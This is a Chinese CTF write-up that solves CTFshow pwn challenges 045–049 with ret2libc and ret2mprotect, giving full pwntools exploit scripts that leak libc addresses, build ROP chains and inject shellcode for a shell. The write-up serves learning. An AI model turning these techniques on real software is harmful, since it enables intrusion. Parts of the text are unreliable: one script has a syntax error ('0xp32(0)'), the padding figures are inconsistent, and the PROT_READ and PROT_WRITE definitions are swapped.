【PWN刷题】CTFshow045-049

晓看天色暮看云......

接下来的题目主要是ret2libc的类型,程序本身并不存在可以利用的参数,需要我们手动泄露libc.so库中的地址并进行利用。为了匹配lib版本获取相关的地址偏移量,我们引入LibcSearcher3

CTFshow045

题目描述:32位 无 system 无 "/bin/sh"

检查一下程序保护,开启了地址随机化保护:

图片

ida反编译一下明显存在溢出点,padding长度为0x70+8
图片

函数列表中没有找到后门函数和system函数,也没有找到/bin/sh类似的参数:

图片

这种情况下只能用libc.so库中自带的函数和参数(链接库中自带system函数和/bin/sh参数)。但是程序开启了随机化,每次执行时地址都是随机变化的,不能直接获取地址,但是每个函数或者数据相对于基址的偏移量是确定的,也就是说只要获取到基址,根据相应的偏移量就可以算出每个函数或者数据的准确地址。

一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。

核心原理是:

栈溢出 → 调用 plt 泄露 got 表上 libc 函数真实地址 → 算出 libc 基址 → 拿到`system`、`/bin/sh` → 再次溢出调用`system("/bin/sh")`拿 shell。

这里给出地址的计算公式:

libc_base = 泄露函数真实地址 − 该函数在libc内偏移
system = libc_base + system偏移
/bin/sh = libc_base + bin_sh字符串偏移

完整步骤:

1. 找溢出偏移:确定填充大小,覆盖 EIP。
2. 泄露 libc 函数地址
   - 利用`write@plt`,执行`write(1, write@got, 4)`,把 got 里 write 真实地址输出出来。
   - 执行完 write,返回`main`函数,程序重新回到溢出点,可以二次利用漏洞。
3. 算 libc 基址
   - 拿到泄露的 write 运行地址。
   - 使用`LibcSearcher`,输入函数名 + 泄露地址,获取各符号偏移。
4. 二次栈溢出 getshell
   - 构造 payload:padding + system 地址 + 任意返回地址 + `/bin/sh`地址
   - send payload,拿到交互 shell。

这里做题时都是本地环境,而且题目中并没有给出libc.so等附件,我们默认使用本地的链接库,如果本地缺失时,使用glibc-all-in-one工具补全缺失的库文件,然后用patchelf修改程序的默认链接库即可。

远程环境中可以使用题目给出附件中的库进行分析,也可以用LibcSearcher3库进行自动检索匹配(不过可能不全)。

这里我们用本地的库进行解题,所以要先找到默认库的位置:

ldd pwn

图片

这里libc的位置是:/usr/lib32/libc.so.6

32 位 x86 cdecl 调用约定:call func 指令会把下一条指令地址压入栈作为返回地址;函数执行完毕执行ret,弹出栈上这个返回地址,跳过去继续执行。

所以执行完 write 函数后应该紧接返回地址,这里应该是 main 函数的地址,这样 write 执行完后才会重新执行 main 函数回到程序开头进行第二次溢出

攻击脚本我们直接套模板即可:

from pwn import *
context.log_level = 'debug'
context.arch = 'i386'

io = process('./pwn')
elf = ELF('./pwn')
libc = ELF("/usr/lib32/libc.so.6")

main = elf.sym['main']
write_got = elf.got['write']
write_plt = elf.plt['write']

payload = flat(
    cyclic(0x6b+4),  # padding 填满缓冲区 + 覆盖ebp
    write_plt,       # 1.要执行的函数:write@plt
    main,            # 2.返回地址 ret‑addr
    1,               # write的参数1  fd=stdout
    write_got,       # write的参数2  buf=write_got
    4                # write的参数3  count=4
)

io.recvuntil(b'O.o?')
io.send(payload)

# 先读取泄露的write地址,32位程序中长度是4字节
write_leak = u32(io.recvuntil('\xf7')[-4:])
print(f"[+] write_leak = {hex(write_leak)}")

# 再把后面banner垃圾读到提示符丢弃(可选)
io.recvuntil(b'O.o?')

libc_base = write_leak - libc.sym['write']
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))

print(f"libc_base = {hex(libc_base)}")
print(f"system    = {hex(system_addr)}")
print(f"/bin/sh   = {hex(bin_sh_addr)}")

payload2 = flat(
    cyclic(0x6b+4),
    system_addr,
    0xp32(0),
    bin_sh_addr
)

io.send(payload2)
io.interactive()

运行后成功getshell,读取到flag:

图片

CTFshow046

题目描述:64位 无 system 无 "/bin/sh"

64位和32位同样是调用约定的区别,64位在调用参数时需要gadget,由于我们是通过write_plt来泄露的真实地址,所以我们需要三个参数:

ssize_t write(int fd, void *buf, size_t count);`

64 位 Linux System V ABI 调用约定:前 6 个函数参数用寄存器传递:rdi, rsi, rdx, rcx, r8, r9,剩下的才走栈,不再像 32 位全部压栈传参。

所以本题需要rdi,rsi,rdx,三个寄存器,但是没有在程序中发现ret rdx的指令,这里没法构造write_plt的第三个参数,远程复用了漏洞触发前遗留的 rdx 脏值,属于碰运气的不稳定利用。

图片

有pop_rdi和pop_rsi的指令,但是pop_rsi指令后面又紧跟着pop了一个r15r12‑r15属于被调用者保存寄存器 (callee‑saved),libc 函数会保存恢复 r15 的值。我们调用write的时候,write 根本不会读取 r15 寄存器的值。对我们的程序逻辑没有任何影响。但是为了保持栈平衡,必须要给它填充上8字节,否则后面的ROP链就全乱了。

此时的ROP地址:

pop_rdi = 0x400803
pop_rsi_r15 = 0x400801

此时payload的构造顺序应该为:

payload = padding + pop_rdi + p64(1) + pop_rsi + write_got + p64(0) + write_plt + main

以此来泄露出write函数的真实got地址,来计算出基址

由于是本地调试,我们还需要查找一下程序使用的64位链接库:

ldd ./pwn

图片

64位还需要一个干净的ret来覆盖返回地址:

ROPgadget --binary ./pwn --only "ret"

图片

这是根据write_plt构造的脚本:

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'

io = process('./pwn')
elf = ELF('./pwn')
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")

main = elf.sym['main']
write_got = elf.got['write']
write_plt = elf.plt['write'] 

pop_rdi = 0x400803
pop_rsi_r15 = 0x400801

payload = cyclic(0x70+8) + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(write_got) + p64(0) + p64(write_plt) + p64(main)

io.sendlineafter(b'O.o?',payload)

write_leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(f"[+] write_leak = {hex(write_leak)}")

libc_base = write_leak - libc.sym['write']
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))

print(f"libc_base = {hex(libc_base)}")
print(f"system    = {hex(system_addr)}")
print(f"/bin/sh   = {hex(bin_sh_addr)}")

payload2 = cyclic(0x70+8) + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)

io.sendlineafter(b'O.o?',payload2)

io.interactive()

这个大概率会失败,属于碰运气,发现还存在puts函数,只需要传入一个参数puts_got即可,改用puts函数,puts的原始定义形式:

puts(const char *s);

修改后的EXP:

from pwn import *
#context.log_level = 'debug'
context.arch = 'amd64'

io = process('./pwn')
elf = ELF('./pwn')
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")

main = elf.sym['main']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts'] 

pop_rdi = 0x400803
pop_rsi_r15 = 0x400801
ret = 0x4004fe

payload = cyclic(0x70+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)

io.sendlineafter(b'O.o?',payload)


puts_leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(f"[+] puts_leak = {hex(puts_leak)}")

libc_base = puts_leak - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))

print(f"libc_base = {hex(libc_base)}")
print(f"system    = {hex(system_addr)}")
print(f"/bin/sh   = {hex(bin_sh_addr)}")

payload2 = cyclic(0x70+8) + p64(pop_rdi) + p64(bin_sh_addr) + p64(ret) + p64(system_addr)

io.sendlineafter(b'O.o?',payload2)

io.interactive()

运行后成功拿到shell,读取到flag:

图片

CTFshow047

题目描述:ez ret2libc

根据提示这是一个简单ret2libc题目,检查一下程序保护:

图片

是32位程序,运行发现直接打印出了地址:

图片

依旧是存在溢出:

图片

给出了writeputs函数的地址,还有一个gift地址很可疑,ida中跟进分析一下:

图片

图片

发现是/bin/sh字符串,果然很简单,不需要泄露地址,程序直接给出了,计算出基址,根据偏移量就能得到真实的system()/bin/sh地址。write,puts,read等都可以。

write:

from pwn import *

context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28200)
elf = ELF('./pwn')
libc = ELF("/usr/lib32/libc.so.6")

io.recvuntil(b"write: ")
write = int(io.recvuntil(b"\n" , drop = True),16)
io.recvuntil(b"gift: ")
bin_sh = int(io.recvuntil(b"\n" , drop = True),16)

libc_base = write - libc.sym["write"]
system = libc_base + libc.sym["system"]

payload = b"a"*(0x9C+4) + p32(system) + p32(0) + p32(bin_sh)
io.sendline(payload)
io.interactive()

puts:

from pwn import *

context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28200)
elf = ELF('./pwn')
libc = ELF("/usr/lib32/libc.so.6")

io.recvuntil(b"puts: ")
puts = int(io.recvuntil(b"\n" , drop = True),16)
io.recvuntil(b"gift: ")
bin_sh = int(io.recvuntil(b"\n" , drop = True),16)

libc_base = puts - libc.sym["puts"]
system = libc_base + libc.sym["system"]

payload = b"a"*(0x9C+4) + p32(system) + p32(0) + p32(bin_sh)
io.sendline(payload)
io.interactive()

运行后得到shell,成功读取flag:

图片

CTFshow048

题目描述:没有write了,试试用puts吧,更简单了呢

检查一下保护,32位程序:

图片

存在溢出漏洞:

图片

运行一下提示:"You can use write func to leak addr!"

图片

但是反编译出来并没有write函数,但是存在puts函数,更简单了
图片

直接用puts_plt泄露出puts_got的真实地址,计算出基址即可:

注意32位的 libc 一般0xf7开头,所以这里要用
puts_leak = u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
64位需要用:
puts_leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

完整EXP:

from pwn import *
context.log_level = 'debug'
context.arch = 'i386'

io = process('./pwn')
elf = ELF('./pwn')
libc = ELF("/usr/lib32/libc.so.6")

main = elf.sym['main']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts'] 

payload = cyclic(0x6B+4) + p32(puts_plt) + p32(main) + p32(puts_got)

io.sendlineafter(b'O.o?',payload)

puts_leak = u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
print(f"[+] puts_leak = {hex(puts_leak)}")

libc_base = puts_leak - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))

print(f"libc_base = {hex(libc_base)}")
print(f"system    = {hex(system_addr)}")
print(f"/bin/sh   = {hex(bin_sh_addr)}")

payload2 = cyclic(0x6B+4) + p32(system_addr) + p32(0) +p32(bin_sh_addr)

io.sendlineafter(b'O.o?',payload2)

io.interactive()

运行后得到shell,成功读取flag:

图片

CTFshow049

题目描述:静态编译?或许你可以找找mprotect函数

查看一下文件和保护:

图片

这是静态编译的,32位程序,仅关闭PIE,checksec显示开启了栈保护,但是实际上是没有的,应该是checksec的版本有点老了。

图片

反编译发现大量的函数,也能进一步佐证是静态编译。

明显存在溢出:

图片

程序存在mprotect函数:

图片

mprotect的作用是能够修改内存的权限为可读可写可执行,然后我们就可以往栈上写入shellcode,执行获取shell。

int mprotect(const void *start, size_t len, int prot)
第一个参数填的是一个地址,是指需要进行操作的地址。
第二个参数是地址往后多大的长度。
第三个参数的是要赋予的权限。
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值

prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
1)PROT_READ:表示内存段内的内容可写;
2)PROT_WRITE:表示内存段内的内容可读;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问。
5) prot=7 是可读可写可执行

指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。因为程序本身也是静态编译,所以地址是不会变的。

ctrl+s调出程序的段表,将0x80DA000地址开始修改为可读可写可执行

图片

因为上面提到了mprotect(start, len, prot)

  1. start 必须页对齐:必须是 0x1000 的整数倍(低 12 位全部为 0)
  2. len 必须是 0x1000 的整数倍
  3. 修改范围会覆盖完整页,不能只修改半页。
    如果你传一个没有页对齐的 start 地址给 mprotect → 直接返回 - 1,调用失败,程序直接崩。

页对齐校验方法:
Linux x86 内存页大小 PAGE_SIZE = 4096 = 0x1000

.got.plt: 0x80DA000 & 0xfff = 0 计算结果低 12 位等于0,页对齐,是内存页的页首
.bss: 0x080DB320 & 0xfff = 0x320  计算结果低 12 位不等于0,不满足条件

页对齐是 Linux 内核行为,跟 32/64 位无关,64 位做 mprotect 同样必须页对齐,且64位和32位判断公式相同

由于后面要进行二次溢出,且传入的参数个数为3大于1,所以我们需要寻找到3个gadget作为mprotect以及后面read函数的返回地址。

我们之前的做的比如:payload = padding + system + p32(0) + bin_sh,直接覆盖4个任意字节作为返回值就行了,而这里却需要正儿八经使用gadget,原因就是我们根本不打算在 system 之后继续跑 ROP 链!我们调用完 system 就要拿 shell,不需要再执行别的函数了,后面没有 ROP 了,栈乱掉无所谓。而mprotect调用完这个函数之后,还要继续 ROP 执行其他函数 → 必须平衡栈,用对应 pop 次数的 gadget。

区别就是:

区分
调用完这个函数之后,还要继续 ROP 执行其他函数 → 必须平衡栈,用对应 pop 次数的 gadget
调用完这个函数任务就结束,拿 shell,不需要继续 ROP → 不需要平衡栈,随便填一个返回地址,填 0、填垃圾都可以

现在我们来找要用到的gadget,静态编译的程序中的gadget会偏多,我们加上更细的筛选条件

ROPgadget --binary ./pwn --only "pop|ret" | grep "pop"

图片

除了段寄存器pop ds / pop es / pop ss之外的gadget都可以用,因为要传入3个参数,我们尽量找有3个寄存器的

我们就用这个吧:pop eax ; pop edx ; pop ebx ; ret,地址是0x08056194

现在我们的payload变成了:

payload = padding + mprotect + pop_eax_edx_ebx + M_addr + M_size + M_proc

现在我们将这段内存区域设置为可读可写可执行之后,需要用到read函数将shellcode写入,read函数原型:

ssize_t read(int fd, void *buf, size_t count);

fd 设为0时就可以从输入端读取内容设为0
buf 设为我们想要执行的内存地址 设为我们已找到的内存地址0x80DA000
size 适当大小就可以 只要够读入shellcode就可以,设置大点无所谓
可以看到read函数也有三个参数要设置,我们就可以继续借用上面找到的有3个寄存器的ret指令
此时:

payload += p32(pop_ebx_esi_ebp_ret) + p32(0) + p32(M_addr) + p32(M_size) + p32(M_addr)

接下来只需要传入shellcode即可:

shellcode = asm(shellcraft.sh())  # shellcraft.sh()生成shellcode,并用asm转为二进制码
io.sendline(shellcode)

注意用shellcraft.sh生成shellcode时要注意设置context(arch = 'i386',os = 'linux',log_level = 'debug')的相关信息

完整EXP:

from pwn import *

context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./pwn')
elf = ELF('./pwn')
mprotect = elf.sym['mprotect']
read_addr = elf.sym['read']

pop_eax_edx_ebx = 0x08056194
M_addr = 0x80DA000
M_size = 0x1000
M_proc = 0x7

payload = cyclic(0x12+4) + p32(mprotect)
payload += p32(pop_eax_edx_ebx) + p32(M_addr) + p32(M_size) + p32(M_proc)
payload += p32(read_addr)
payload += p32(pop_eax_edx_ebx) + p32(0) + p32(M_addr) + p32(M_size) +p32(M_addr)

io.sendline(payload)
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.recv()
io.interactive()

成功获取shell:

图片

这一题其实是ret2mprotect,通过溢出写入shellcode,64位其实是同理的,还是调用约定的差异。

今天先写到这儿吧,写不动了,补考和两个比赛主办方的临时修改时间,导致一个都去不了,难受。

posted @ 2026-08-28 17:18  K0rnZ3bra  阅读(5)  评论(0)    收藏  举报